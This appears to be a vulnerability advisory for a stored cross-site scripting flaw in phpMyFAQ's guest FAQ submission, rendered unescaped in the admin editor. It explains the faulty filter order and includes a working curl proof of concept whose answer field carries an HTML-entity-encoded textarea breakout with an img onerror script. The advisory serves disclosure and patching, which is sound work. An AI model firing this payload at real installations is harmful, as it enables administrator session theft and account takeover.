phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N상세 설명
Summary
A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.
Details
Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)
1$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS); 2if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) { 3 $answer = trim(html_entity_decode((string) $answer)); 4}Root cause:
Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).
When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)
1<textarea id="editor" name="answer" class="form-control" rows="7" 2 placeholder="{{ 'msgAnswer' | translate }}" 3>{{ faqData['content'] | raw }}</textarea>The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
1$this->faq->getFaq($faqId, null, true); 2$faqData = $this->faq->faqRecord; // Raw content from DBNote: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
PoC
Prerequisites:
main.enableWysiwygEditorFrontend=true(non-default, but commonly enabled for rich-text user FAQ contributions)records.allowNewFaqsForGuests=true(DEFAULT value — guests can submit FAQs)- At least one FAQ category must exist
Step 1: Inject XSS payload as unauthenticated guest
1curl -X POST https://TARGET/api/faq/create \ 2 -H 'Content-Type: application/json' \ 3 -d '{ 4 "name": "Legitimate User", 5 "email": "user@example.com", 6 "question": "How to configure SMTP settings?", 7 "answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>", 8 "lang": "en", 9 "keywords": "smtp email",10 "rubrik": ["1"],11 "captcha": "<valid-captcha-or-empty-if-disabled>"12 }'Response: {"success":"Thank you for your suggestion!"}
Processing trace:
- Input answer:
</textarea><img src=x onerror=alert(document.domain)><textarea> filterSanitizeString()→strip_tags()finds no actual<tag>syntax → string passes through unchangedhtml_entity_decode()converts entities →</textarea><img src=x onerror=alert(document.domain)><textarea>- Stored in database as raw executable HTML
Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry:
1GET /admin/faq/edit/{faqId}/{lang}The admin template renders:
1<textarea id="editor" name="answer" class="form-control" rows="7" 2 placeholder="Answer" 3></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
Impact
- Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
- Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
- No special privileges required — default configuration allows guest FAQ submissions (
records.allowNewFaqsForGuests=true) - Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.
참고 자료 5
링크 내용 불러오는 중…